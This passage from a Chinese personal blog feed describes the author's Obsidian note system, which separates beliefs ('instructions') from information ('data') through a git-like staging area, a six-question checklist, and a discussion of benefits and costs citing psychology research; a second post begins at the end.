alt="三区一栈一库"></p><p>信息从外部进入，先落在收件箱；按判定清单分流——事实和观点进数据区，行为准则类内容先进<strong>指令暂存区</strong>；暂存区里的东西经过”AI预审→人工确认→第一人称改写”三步，才能正式写入指令区；指令区的指令驱动输出区的行动，输出过程可以回头引用数据区的内容作支撑。</p><p><strong>指令暂存区</strong>是这次重构的核心新增，也是御坂和元宝AI讨论时它给出的建议：对于外部那些不好分辨是指令还是数据的信息，不要强行立刻归类，先放进暂存区隔离存放；由AI帮忙做初步分辨（哪些部分是事实陈述、哪些部分是行为建议），再由御坂确认是否需要内化，最后从原始信息中抽离出适合自己的指令，用第一人称改写后写入指令区。</p><p>这个流程对程序员来说其实特别眼熟——<strong>类似于git的工作流</strong>：</p><table><thead><tr><th>git</th><th>认知架构</th></tr></thead><tbody><tr><td>工作区（改了但没管）</td><td>收件箱里未经处理的信息</td></tr><tr><td><code>git add</code> → 暂存区（staging area）</td><td>候选指令进入指令暂存区</td></tr><tr><td><code>git diff --staged</code> 审查暂存内容</td><td>AI预审 + 人工确认</td></tr><tr><td><code>git commit</code> 提交</td><td>显式写入指令区</td></tr><tr><td>commit message</td><td>写入时留下的”为什么内化这条指令”</td></tr><tr><td><code>git log</code> 历史</td><td>指令区的修改履历</td></tr></tbody></table><p><img src="https://vdio-1252926453.cos.ap-chengdu.myqcloud.com/picgo/%E8%AE%A4%E7%9F%A5%E7%B1%BB%E6%AF%94git%E6%8F%90%E4%BA%A4(1).png" alt="类比git工作流"></p><p>git设计暂存区的原因和认知架构设计暂存区的原因一模一样：**直接commit太危险，需要一个缓冲层让变化可以被审查后再正式生效。**中文里git的staging area恰好就叫”暂存区”，这个类比严丝合缝。</p><h3 id="6-3-归类判定清单：六问"><a href="#6-3-归类判定清单：六问" class="headerlink" title="6.3 归类判定清单：六问"></a>6.3 归类判定清单：六问</h3><p>信息进收件箱后，依次过这六个问题：</p><ol><li><strong>它是外部世界的事实描述吗？</strong>（新闻、数据、事件）→ 数据区·原始层（2资讯收集）</li><li><strong>它是他人的观点、经验或知识吗？</strong>→ 数据区·加工层（3知识整理），标记来源和可信度</li><li><strong>它包含”应该怎么做”的方法论或行为准则吗？</strong>→ 进入指令判定流程（继续第4-6问）</li><li><strong>它和我指令区的现有指令冲突吗？</strong>→ 冲突则暂存并显式标注冲突点，优先处理</li><li><strong>我经过思考，愿意让它改变我的思维方式或行为模式吗？</strong>→ 不愿意：留在数据区（标记”含方法论，暂不内化”）；愿意或不确定：进指令暂存区</li><li><strong>暂存区处理三步</strong>：AI预审（分辨事实部分与建议部分）→ 我确认（要不要内化）→ 第一人称改写提炼（从”作者说应该”变成”我决定”）→ 写入指令区，原信息留在数据区作为出处</li></ol><p>其中第5问是整份清单的灵魂：**它把”这条信息好不好”和”我要不要被它改变”拆成了两个独立问题。**一条信息可以写得非常好、逻辑严密、洞见深刻——但内化它是我的决策，不是它的权利。数据区里可以存放一万条优秀的方法论，但只有经过显式确认的那几十条能进入指令区。</p><h3 id="6-4-对现有目录的具体改造"><a href="#6-4-对现有目录的具体改造" class="headerlink" title="6.4 对现有目录的具体改造"></a>6.4 对现有目录的具体改造</h3><p>以我目前已有的信息处理框架来看，要做改变的事情其实不多——现有架构已经完成70%：</p><ol><li><strong>激活<code>待处理</code>为标准收件箱</strong>：所有外部信息先进这里，等待着过六问清单分流</li><li><strong>新增指令暂存区</strong>：在<code>1个人文件</code>下新建<code>00指令暂存</code>，配一个”候选指令”模板（含：原始信息出处、AI预审意见、我的确认记录、第一人称改写稿、写入目标位置）</li><li><strong>拆分<code>03临时项目和想法</code></strong>：项目记录（如”扫描书库””文档电子化”）归入数据区或输出区；方法论雏形（如”学习论””计策记录”）作为指令候选进暂存区走确认流程</li><li><strong>拆分<code>04社交相关</code></strong>：身份认知类（怎么介绍自己、社交原则）归指令区；他人信息类（关于具体的人的记录）归数据区</li><li><strong>02领域能力内部标注</strong>：像<code>022财务和投资</code>这种目录里市场知识（数据）和投资原则（指令）混在一起——每条笔记加个<code>类型: 指令/数据</code>的YAML属性，Dataview就能直接聚合出”我的全部投资指令”</li><li><strong>指令区加复审机制</strong>：定期过一遍指令区，问每条指令”过去三个月你还在执行吗？还需要吗？”——像代码依赖审查一样审查自己的思维</li></ol><p>（方案看着条目多，但核心增量就两个：一个暂存区，一份判定清单。其余都是对现有结构的确认和微调。）</p><h2 id="七、分离的好处"><a href="#七、分离的好处" class="headerlink" title="七、分离的好处"></a>七、分离的好处</h2><p>下面说说推行这样机制的优点。其实本身这套机制是在过去多年中我个人积累的一种思维管理方法论，这套方案让我个人觉得帮我维护了清晰的思想、稳定的情绪以及明确的行动执行能力，并对外界信息具有明显的抗影响能力，和元宝AI讨论清理后，我进一步完善了下。这里把它们整理成六条，每条也配合上AI提供的依据——不只是个人感受，也包括心理学里能对上号的研究。</p><h3 id="7-1-思想更清晰：知道自己知道什么、相信什么"><a href="#7-1-思想更清晰：知道自己知道什么、相信什么" class="headerlink" title="7.1 思想更清晰：知道自己知道什么、相信什么"></a>7.1 思想更清晰：知道自己知道什么、相信什么</h3><p>当指令和数据混在一起的时候，我们分不清”这是我认为的”和”这是我看到的”。一个观点从网上看来的，记住了，慢慢就变成了”我的观点”——但中间从未经历过”要不要信它”的决策过程。脑子里充满了来历不明的信念，它们互相矛盾、互相打架，但我们甚至不知道它们在那儿。</p><p>心理学里有个概念叫<strong>认知失调</strong>（cognitive dissonance，Festinger 1957<sup id="fnref:7"><a href="#fn:7" rel="footnote">[7]</a></sup>）：当一个人同时持有互相矛盾的信念时，会产生心理不适。混溶状态的脑子就是一个失调的温床——因为那些被动写入的”指令”之间根本没有做过一致性检查。</p><p>强分离之后，我们随时可以回答一个问题：**”这是我知道的，还是我相信的？”**知道的归数据区，相信的归指令区。信念清单是明确的、有限的、可枚举的——不是一锅不知道什么时候熬出来的粥。指令区里的指令经过显式确认才写入，写入时天然经过了一致性审视，失调的源头被掐掉了一大块。</p><p>（INTJ的终极需求：知道自己当前在执行什么程序。）</p><h3 id="7-2-行动更明确：稳定的驱动源"><a href="#7-2-行动更明确：稳定的驱动源" class="headerlink" title="7.2 行动更明确：稳定的驱动源"></a>7.2 行动更明确：稳定的驱动源</h3><p>混溶状态下，行为的驱动信号来自所有方向——昨天看的文章、刚才刷的推送、同事的一句话、三年前读的一本书。它们都在”内存”里，都在争抢”执行时间片”。今天决定做这个，明天决定做那个，不是因为指令变了，而是因为不同的数据在轮流占据注意力。</p><p>目标设定理论（goal-setting theory，Locke &amp; Latham<sup id="fnref:8"><a href="#fn:8" rel="footnote">[8]</a></sup>）的大量研究表明：明确且稳定的目标比模糊漂移的目标更能带来高绩效。而目标的稳定性恰恰依赖指令区的稳定——如果每次信息输入都能扰动目标，行为就成了布朗运动。</p><p>强分离之后，行为的驱动信号主要来自指令区。数据区提供输入和参考，但最终决策走的是指令区的逻辑。今天读了一篇”35岁被裁”的文章不会焦虑得改方向，明天看到一个”副业月入三万”的视频也不会兴奋得改计划——那些内容在数据区里好好待着，可以被查阅、分析，但它们不直接驱动行为。</p><h3 id="7-3-不容易被外部影响：阻断”数据伪装成指令”的攻击"><a href="#7-3-不容易被外部影响：阻断”数据伪装成指令”的攻击" class="headerlink" title="7.3 不容易被外部影响：阻断”数据伪装成指令”的攻击"></a>7.3 不容易被外部影响：阻断”数据伪装成指令”的攻击</h3><p>这是最核心的一条，值得用计算机安全的方式来讲。</p><p>在冯·诺依曼架构下，一段恶意数据可以伪装成指令被执行——这就是缓冲区溢出攻击的原理（经典的”Smashing the Stack”<sup id="fnref:9"><a href="#fn:9" rel="footnote">[9]</a></sup>）。攻击者往数据区写入一串精心构造的0和1，然后让CPU把这串数据当作指令执行。数据越界变成指令，系统就被劫持了。</p><p>人脑在默认状态下，对这种”数据伪装成指令”的攻击<strong>几乎没有防御</strong>。</p><p>一则广告以data的身份进入大脑，但它携带的不是一个产品信息，而是一个情绪指令——“现在应该感到焦虑”。没有隔离机制，这个指令就直接执行了。我们开始焦虑，但以为是自己在焦虑，不知道这是被注入的。</p><p>心理学里有两套理论能描述这个过程。<strong>精细加工可能性模型</strong>（ELM，Petty &amp; Cacioppo<sup id="fnref:10"><a href="#fn:10" rel="footnote">[10]</a></sup>）指出：人在”中心路径”（仔细思考论据）和”边缘路径”（被情绪、权威、视觉线索带着走）之间摇摆，而现代信息设计专攻边缘路径。<strong>接种理论</strong>（inoculation theory，McGuire<sup id="fnref:11"><a href="#fn:11" rel="footnote">[11]</a></sup>）则证明：事先接触过弱化版反驳论点的人，后续面对强说服时抵抗力显著更强——换句话说，”知道自己可能被影响”本身就是一种防御。</p><p>认知哈佛架构就是把这个防御机制工程化：**不是屏蔽信息，而是阻断信息到信念的自动升级通道。**广告说”应该焦虑”——这条信息进入数据区，被标记为”某广告的营销信息”。我们可以分析它的修辞手法、理解它的目标受众、评估它的信息含量，但它不会自动变成信念。要变成信念，得过一道显式的关卡：”我，要不要把’我应该焦虑’写入指令集？”正常情况下答案是”否”。那它就永远待在数据区里，是一条被分析过的信息，而不是一条被执行的指令。</p><h3 id="7-4-元认知能力本身在提升"><a href="#7-4-元认知能力本身在提升" class="headerlink" title="7.4 元认知能力本身在提升"></a>7.4 元认知能力本身在提升</h3><p>元认知（metacognition，Flavell<sup id="fnref:12"><a href="#fn:12" rel="footnote">[12]</a></sup>）指”对认知的认知”——监控和调节自己思维过程的能力。大量研究表明元认知能力和学习效果、决策质量正相关。</p><p>关键在于：**维护分离架构这个动作本身，就是持续的元认知训练。**每次把信息过六问清单，都是在问自己”我在想什么、我为什么这么想”；每次复审指令区，都是在观察自己的思维过程。这和健身一个道理——分离架构是认知的杠铃，练的过程比练的结果更值钱。御坂坚持这套体系两三年，回头看最明显的变化不是笔记变整齐了，而是”觉察到自己正在被影响”的反应速度变快了。</p><h3 id="7-5-身份的连续性：不随信息环境漂移的自我"><a href="#7-5-身份的连续性：不随信息环境漂移的自我" class="headerlink" title="7.5 身份的连续性：不随信息环境漂移的自我"></a>7.5 身份的连续性：不随信息环境漂移的自我</h3><p>发展心理学里，Erikson的自我同一性（identity）理论<sup id="fnref:13"><a href="#fn:13" rel="footnote">[13]</a></sup>讲的是：一个稳定的”我是谁”的叙事，是心理健康的基础设施。同一性扩散（identity diffusion）的人，自我概念随环境剧烈摆动。</p><p>混溶状态下，自我概念是被动的信息沉淀物——算法推什么、圈子聊什么，”我”就往哪个方向偏移。强分离之后，”我是谁”由指令区显式定义，数据区的信息洪流冲刷的是数据区，不是自我定义。外部环境剧变时，人有一个不随波逐流的锚点。</p><h3 id="7-6-知识的复利：结构化让知识可累积"><a href="#7-6-知识的复利：结构化让知识可累积" class="headerlink" title="7.6 知识的复利：结构化让知识可累积"></a>7.6 知识的复利：结构化让知识可累积</h3><p>野中郁次郎的知识创造理论（SECI模型<sup id="fnref:14"><a href="#fn:14" rel="footnote">[14]</a></sup>）里有个核心论点：知识要产生价值，必须完成从隐性到显性、从个人到体系的转化。散落的知识点无法复利，结构化的知识才能——因为结构化之后，新知识有地方放，旧知识能被找到，两者之间能建立连接。</p><p>数据区的taxonomy（领域分类）、双链（跨区引用）、MOC索引（聚合视图）本质上都是在做同一件事：**给知识一个可累积的地址空间。**第二条相关知识进来时，不是随机漂在记忆里，而是挂到已有的结构上。让知识不再是”看过很多”的一团模糊，而是”知道它们各自在哪、互相什么关系”的一张地图。</p><h2 id="八、分离的代价：诚实的另一面"><a href="#八、分离的代价：诚实的另一面" class="headerlink" title="八、分离的代价：诚实的另一面"></a>八、分离的代价：诚实的另一面</h2><p>这样强化分离，有什么代价吗？这个问题其实我很早就有感受。当然也可能是本身性格带给我的感受，不一定是这套机制带给我的感觉。</p><h3 id="8-1-灵活性损失：不能”自然而然”地被改变"><a href="#8-1-灵活性损失：不能”自然而然”地被改变" class="headerlink" title="8.1 灵活性损失：不能”自然而然”地被改变"></a>8.1 灵活性损失：不能”自然而然”地被改变</h3><p>哈佛架构牺牲了运行时自修改能力，认知哈佛架构也一样。有时候被一个好故事感染、被一首歌打动、被一个人的经历改变看法，这些”不分离”的体验有它自己的价值。强分离会让这个过程变得更慢、更有意识——我们不再轻易被”打动”了。</p><p>神经科学家Damasio的躯体标记假说<sup id="fnref:15"><a href="#fn:15" rel="footnote">[15]</a></sup>甚至认为：情绪不是理性的噪音，而是决策的必要组件——很多正确的快速判断来自情绪的信号。全盘压制”被影响”，等于砍掉了一条重要的信息处理通道。</p><p>御坂的应对：这不是二选一。被一首歌打动（数据区事件，引发情绪反应）和被一篇软文改变消费决策（数据伪装成指令执行）是两回事。分离架构防的是后者，不防前者。情绪可以自由流动，信念必须显式写入。</p><h3 id="8-2-持续的元认知开销：这套系统本身要花钱"><a href="#8-2-持续的元认知开销：这套系统本身要花钱" class="headerlink" title="8.2 持续的元认知开销：这套系统本身要花钱"></a>8.2 持续的元认知开销：这套系统本身要花钱</h3><p>认知负荷理论（cognitive load theory，Sweller<sup id="fnref:16"><a href="#fn:16" rel="footnote">[16]</a></sup>）提醒我们：工作记忆的容量非常有限，任何额外的管理系统都会挤占它。维护指令区和数据区的边界、执行升级仪式、定期审查指令集——这些全是开销。就像操作系统需要消耗资源来管理内存隔离，认知隔离也需要消耗注意力。</p><p>这是真实的成本，而且无法消除，只能摊薄。对于这方面，我以往经常需要独处、冥想或者在工作中摸鱼，腾出时间专门用来自我思想的梳理。对于注意力的开销是明显的。大量的信息也带给我很多负担，直到最近一年在AI的帮助下，我开始不断建立AI协同的记忆、判断体系，我开始觉得这套机制相对比较可靠，负担可以接受了。</p><h3 id="8-3-确认偏误的固化风险：指令区可能变成回音室"><a href="#8-3-确认偏误的固化风险：指令区可能变成回音室" class="headerlink" title="8.3 确认偏误的固化风险：指令区可能变成回音室"></a>8.3 确认偏误的固化风险：指令区可能变成回音室</h3><p>这一条最隐蔽。如果指令区更新得太慢、太严格，我们会只愿意接收那些符合现有指令的数据——<strong>确认偏误</strong>（confirmation bias，Nickerson<sup id="fnref:17"><a href="#fn:17" rel="footnote">[17]</a></sup>的综述把它的顽固性讲得很透）。原本用来防御外部操纵的隔离墙，慢慢变成了拒绝一切更新的城墙。一个拒绝写入的系统和一个随便被写入的系统，一样危险，只是死法不同。</p><p>应对：第6.4节的季度复审必须是<strong>对抗性的</strong>——每条指令都要主动找反例，问”什么证据能推翻你”，而不是走过场式的”我还觉得对”。这有点像给自己的信念做红队测试。指令区里甚至值得专门留一个”待推翻”标记，放那些自己隐约觉得站不住但还没想清楚的旧指令。</p><h3 id="8-4-更新延迟：世界变得比指令区快"><a href="#8-4-更新延迟：世界变得比指令区快" class="headerlink" title="8.4 更新延迟：世界变得比指令区快"></a>8.4 更新延迟：世界变得比指令区快</h3><p>显式确认流程天然比自动写入慢。市场剧变、环境突变的时候，混溶状态的人可能几天内就完成了认知切换（因为信息直接改写了行为），而强分离的人要走过”察觉异常→暂存→确认→改写指令”的完整流程。</p><p> Herbert Simon那句”信息的富足造成注意力的贫乏”<sup id="fnref:18"><a href="#fn:18" rel="footnote">[18]</a></sup>的反面是：注意力的节制造成信息的延迟。某些领域（比如安全、医疗、快速变化的市场），延迟的代价可能很高。</p><p>应对：给指令区分级——<strong>核心指令</strong>（价值观层，年审）、<strong>领域指令</strong>（方法论层，季审）、<strong>战术指令</strong>（具体做法层，月审甚至更短）。越靠近执行的指令，更新周期越短，避免用价值观的严谨度去管理执行战术的敏捷度。</p><h2 id="九、一个总结"><a href="#九、一个总结" class="headerlink" title="九、一个总结"></a>九、一个总结</h2><p>我们是因为深入理解了计算机”为什么不分离”指令和数据——理解了这种不分离带来的万能性、涌现性、自指能力——才反过来意识到，人为什么”应该”分离。</p><p>计算机的不分离是它强大的根源。但计算机的不分离是安全的，因为它的”指令”是人写的、可控的、可审计的。人类的不分离也是强大的根源（适应性、学习能力、涌现智慧），但人类的不分离是不安全的，因为外部环境可以在我们不知情的情况下修改我们的”指令”。</p><p>所以结论不是”不分离不好”，而是”不分离需要配套一个可审计的机制”。</p><p>计算机有调试器、有性能监控、有代码审查——可以看到程序在执行什么指令，可以暂停、检查、修改。人的认知系统也需要一个类似的机制——可以看到自己当前在执行什么信念，可以暂停、检查、修改。</p><p>Obsidian就是御坂的”认知调试器”。</p><p><code>01自我</code>里的原则清单是”指令集查看器”——打开它，能看到自己当前在运行哪套程序。从数据区到指令区的显式升级过程是”断点设置”——信息不会自动变成信念，必须停下来，有意识地审查。定期回顾和修订信念清单是”代码审查”——发现某个行为模式不合理，回头去查指令区，找到那条过时的信念，显式地修改它。新增的指令暂存区是”沙箱环境”——可疑的变化先隔离审查，确认无害再合入主干。</p><p>整个过程的核心思想就一句话：<strong>把无意识的权重更新，变成有意识的代码提交。</strong></p><p>冯·诺依曼给了计算机万能性，代价是不可控的自修改。人类天然有同样的架构，获得了同样的适应性，也继承了同样的不可控性。但人类有一个计算机没有的东西——元认知。我们可以观察自己的思考过程，可以审视自己的信念清单，可以决定”这条指令我要不要保留”。</p><p>这就是认知哈佛架构的意义：<strong>不是放弃冯·诺依曼的灵活性，而是在它上面加一层元认知的控制平面。让不分离的系统继续保持不分离，但让它变得可观察、可审计、可控。</strong></p><p>开放的数据区，严格的指令区，显式的跨区升级机制，外加一个缓冲用的暂存区。</p><p>这是我从过往几年多信息的整理和最近阅读的这篇一串0和1里总结学到的东西。</p><h2 id="十、后记：这篇文章做了什么"><a href="#十、后记：这篇文章做了什么" class="headerlink" title="十、后记：这篇文章做了什么"></a>十、后记：这篇文章做了什么</h2><p><strong>做到了的</strong>：</p><ol><li>把”指令和数据不分离”这个计算机架构事实，完整地串到了”人的认知为什么需要分离”——中间经过AI这个枢纽，逻辑链条是完整的，没有断档。</li><li>第六章给出了可落地的东西：一张现状映射表、一个目标架构图、一份六问判定清单、一套git式的暂存区流程、六条具体改造步骤。理论上任何人拿着这一节就能在自己的笔记工具上复现（不需要Obsidian，任何支持文件夹和链接的工具都行，甚至纸笔也行——分区和判定清单才是本质）。</li><li>好处和代价都给了依据，不是纯拍脑袋的个人感受。</li></ol><p><strong>可复制执行的最小方案</strong>：</p><blockquote><p>第一步，把笔记分成两个区：”我知道的”（数据）和”我相信并按其行事的”（指令）。第二步，规定一条铁律：数据区的信息永远不会自动变成指令区的信念。第三步，遇到想内化的内容，走一遍”暂存→审查→用第一人称改写→写入”。第四步，每季度复审指令区，主动找每条指令的反例。</p></blockquote><p>就这四步。工具随意，机制至上。</p><hr><p><em>写于 2026年8月26日，AI协同。从一个知乎回答开始的一次意外认知越狱。</em></p><h2 id="参考资料与扩展阅读"><a href="#参考资料与扩展阅读" class="headerlink" title="参考资料与扩展阅读"></a>参考资料与扩展阅读</h2><p><strong>延伸阅读（计算机底层直觉向）</strong>：Charles Petzold《编码：隐匿在计算机软硬件背后的语言》（从电报机讲到CPU，建立物理直觉的最佳入门）；Randal E. Bryant《深入理解计算机系统》（CSAPP，打通汇编到操作系统的经典教材）；Kahneman《思考，快与慢》（系统1与系统2，本文”混溶vs分离”的心理学对照版）。</p><div id="footnotes"><hr><div id="footnotelist"><ol style="list-style:none;padding-left:0;margin-left:40px"><li id="fn:1"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">1.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">1. [能从底层解释一下计算机的原理吗？——Soulflare的回答（知乎）](https://www.zhihu.com/question/666025968/answer/2010309393024038714) —— 本文的起点。从硅到晶体管到逻辑门到冯·诺依曼架构的完整叙事。 <a href="#fnref:1" rev="footnote">↩</a></span></li><li id="fn:2"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">2.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">2. von Neumann, J. (1945). *First Draft of a Report on the EDVAC* —— 冯·诺依曼架构的原始文献，"存储程序"思想的出处。 <a href="#fnref:2" rev="footnote">↩</a></span></li><li id="fn:3"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">3.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">3. [Transformer Circuits Thread（Anthropic）](https://transformer-circuits.pub/) —— 机制可解释性研究的集散地，"权重里到底编码了什么"这个问题的最前沿。 <a href="#fnref:3" rev="footnote">↩</a></span></li><li id="fn:4"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">4.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">4. Elhage, N. et al. (2022). *Toy Models of Superposition* —— 叠加假说：神经网络把大量概念压缩在同一组参数里，指令与数据的物理边界不存在。 <a href="#fnref:4" rev="footnote">↩</a></span></li><li id="fn:5"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">5.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">5. Meng, K. et al. (2022). *Locating and Editing Factual Associations in GPT*（ROME）—— 尝试只编辑模型的"事实"而不伤及其他能力，实证了知识（数据）与行为（指令）的纠缠。 <a href="#fnref:5" rev="footnote">↩</a></span></li><li id="fn:6"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">6.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">6. Meng, K. et al. (2023). *Mass-Editing Memory in a Transformer*（MEMIT）—— ROME的批量版，同样受制于指令数据的叠加。 <a href="#fnref:6" rev="footnote">↩</a></span></li><li id="fn:7"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">7.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">7. Festinger, L. (1957). *A Theory of Cognitive Dissonance* —— 认知失调理论：矛盾信念产生心理不适。 <a href="#fnref:7" rev="footnote">↩</a></span></li><li id="fn:8"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">8.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">8. Locke, E. A., & Latham, G. P. (2002). *Building a Practically Useful Theory of Goal Setting and Task Motivation* —— 目标设定理论35年研究综述：明确稳定的目标带来高绩效。 <a href="#fnref:8" rev="footnote">↩</a></span></li><li id="fn:9"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">9.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">9. Aleph One (1996). *Smashing the Stack for Fun and Profit*（Phrack 49）—— 缓冲区溢出攻击经典文献，"数据伪装成指令"的原型。 <a href="#fnref:9" rev="footnote">↩</a></span></li><li id="fn:10"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">10.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">10. Petty, R. E., & Cacioppo, J. T. (1986). *The Elaboration Likelihood Model of Persuasion* —— 说服的双路径模型：中心路径vs边缘路径。 <a href="#fnref:10" rev="footnote">↩</a></span></li><li id="fn:11"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">11.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">11. McGuire, W. J. (1964). *Inducing Resistance to Persuasion* —— 接种理论：预先暴露于弱化反驳能增强后续抵抗力。 <a href="#fnref:11" rev="footnote">↩</a></span></li><li id="fn:12"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">12.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">12. Flavell, J. H. (1979). *Metacognition and Cognitive Monitoring* —— 元认知概念的奠基文献。 <a href="#fnref:12" rev="footnote">↩</a></span></li><li id="fn:13"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">13.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">13. Erikson, E. H. (1968). *Identity: Youth and Crisis* —— 自我同一性理论。 <a href="#fnref:13" rev="footnote">↩</a></span></li><li id="fn:14"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">14.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">14. Nonaka, I., & Takeuchi, H. (1995). *The Knowledge-Creating Company* —— SECI模型：知识从隐性到显性的转化创造价值。 <a href="#fnref:14" rev="footnote">↩</a></span></li><li id="fn:15"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">15.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">15. Damasio, A. R. (1994). *Descartes' Error* —— 躯体标记假说：情绪是决策的必要组件。 <a href="#fnref:15" rev="footnote">↩</a></span></li><li id="fn:16"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">16.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">16. Sweller, J. (1988). *Cognitive Load During Problem Solving* —— 认知负荷理论：工作记忆容量有限。 <a href="#fnref:16" rev="footnote">↩</a></span></li><li id="fn:17"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">17.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">17. Nickerson, R. S. (1998). *Confirmation Bias: A Ubiquitous Phenomenon in Many Guises* —— 确认偏误的系统性综述。 <a href="#fnref:17" rev="footnote">↩</a></span></li><li id="fn:18"><span style="display:inline-block;vertical-align:top;padding-right:10px;margin-left:-40px">18.</span><span style="display:inline-block;vertical-align:top;margin-left:10px;">18. Simon, H. A. (1971). *Designing Organizations for an Information-Rich World* —— "信息的富足造成注意力的贫乏"的出处。 <a href="#fnref:18" rev="footnote">↩</a></span></li></ol></div></div>]]>
    </content>
    <id>https://misaka10013.cn/p/2813908857.html</id>
    <link href="https://misaka10013.cn/p/2813908857.html"/>
    <published>2026-08-27T00:58:50.000Z</published>
    <summary>
      <![CDATA[<h1 id="指令即数据：从冯·诺依曼到我的Obsidian认知体系"><a href="#指令即数据：从冯·诺依曼到我的Obsidian认知体系" class="headerlink" title="指令即数据：从冯·诺依曼到我的Obsidian认知体系"></a>指令即数据：从冯·诺依曼到我的Obsidian认知体系</h1><h2 id="一、起因"><a href="#一、起因" class="headerlink" title="一、起因"></a>一、起因</h2><p>这两天我读了一篇知乎回答——《能从底层解释一下计算机的原理吗？》（Soulflare，见文末参考资料<sup id="fnref:1"><a href="#fn:1" rel="footnote">[1]</a></sup>），作者从沙子（硅）讲到晶体管，从晶体管讲到逻辑门，从逻辑门讲到加法器，再讲到内存、控制器、取指执行循环。整条链路清晰得像一条公路，没有一步用到魔法。</p>]]>
    </summary>
    <title>指令即数据：从冯·诺依曼到我的Obsidian认知体系</title>
    <updated>2026-08-27T10:52:56.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>Misaka10013</name>
    </author>
    <category term="生活随笔" scheme="https://misaka10013.cn/categories/%E7%94%9F%E6%B4%BB%E9%9A%8F%E7%AC%94/"/>
    <category term="思考" scheme="https://misaka10013.cn/tags/%E6%80%9D%E8%80%83/"/>
    <category term="认知" scheme="https://misaka10013.cn/tags/%E8%AE%A4%E7%9F%A5/"/>
    <category term="成长" scheme="https://misaka10013.cn/tags/%E6%88%90%E9%95%BF/"/>
    <content>
      <![CDATA[<p>最近看了篇知乎回答（见文末「参考资料」），很有共鸣。它把”为什么互联网抹平了信息差、大多数人却依然原地踏步”讲得很透。但看完我更想追问另一半问题：<strong>知道了原因，到底该怎么动起来？</strong>。信息只有对我们的实践产生了指导意义，并促使了我们现实中行动改变，才具有真实的意义。否则解决信息差对我们毫无意义。由此我开始了一些反思想法。</p><p>本文章前半部分，是我对那篇知乎回答的归纳；后半部分，是我思考的一些思路——从一个缺痛点、困在舒适圈里的人，如何通过试着借做事和圈子，把自己拽出来。</p><hr><h2 id="第一部分：知乎回答归纳：信息差没被抹平，认知鸿沟在放大"><a href="#第一部分：知乎回答归纳：信息差没被抹平，认知鸿沟在放大" class="headerlink" title="第一部分：知乎回答归纳：信息差没被抹平，认知鸿沟在放大"></a>第一部分：知乎回答归纳：信息差没被抹平，认知鸿沟在放大</h2><p>那篇回答的核心可以归纳成五点：</p><h3 id="1-获取成本降低了，但筛选成本指数级上升"><a href="#1-获取成本降低了，但筛选成本指数级上升" class="headerlink" title="1. 获取成本降低了，但筛选成本指数级上升"></a>1. 获取成本降低了，但筛选成本指数级上升</h3><p>算法的目标函数是”留存时长”，不是”帮人成长”。它拼命迎合人的动物本能，把高价值内容淹没在噪声里。当我们想搜”分布式系统”，前排永远是广告、简化故事和撕逼帖；真正的高密度知识、论文永远无人问津。<strong>所以信息化时代，新的门槛不是钱和渠道，而是鉴别力和抗干扰能力。</strong></p><h3 id="2-知识是压缩包，经历才是解压密码"><a href="#2-知识是压缩包，经历才是解压密码" class="headerlink" title="2. 知识是压缩包，经历才是解压密码"></a>2. 知识是压缩包，经历才是解压密码</h3><p>很多人习惯囤积干货，以为”拥有文件&#x3D;拥有知识”。但这就像下载了一个压缩包却没有密码——文件名就在那儿，却打不开。只有当经历了相关的，待在了相似的处境中，亲身体会并动手去使用那些知识的时候，才是真的解压了这个压缩包。<strong>顶级思维都是事后总结，没有那个”事”，有了知识和总结也没用。</strong></p><h3 id="3-大脑的本能是节能，学习反本能"><a href="#3-大脑的本能是节能，学习反本能" class="headerlink" title="3. 大脑的本能是节能，学习反本能"></a>3. 大脑的本能是节能，学习反本能</h3><p>大脑是认知吝啬鬼，而顶级思维（贝叶斯定理、延迟满足）是反直觉的，学习它们本身就是痛苦。再加上短视频和爽文的刺激，这种痛苦更难忍受。<strong>知识随处可见，但摄入知识的痛苦感没有减少。</strong></p><h3 id="4-知行合一隔着巨大的情绪成本"><a href="#4-知行合一隔着巨大的情绪成本" class="headerlink" title="4. 知行合一隔着巨大的情绪成本"></a>4. 知行合一隔着巨大的情绪成本</h3><p>大多数人不是不知道怎么做，而是恐惧——怕看不懂、怕挫败、怕浪费时间、怕没回报。互联网把成功标杆拉得太高，看到谁的讨论都是年薪百万、大厂高手，自己啃一晚源码只看懂两行，落差感击穿心理防线。<strong>大部分人无法突破，是因为无法忍受长期没有正反馈的寂寞。</strong></p><h3 id="5-圈层固化导致隐性知识依然屏蔽"><a href="#5-圈层固化导致隐性知识依然屏蔽" class="headerlink" title="5. 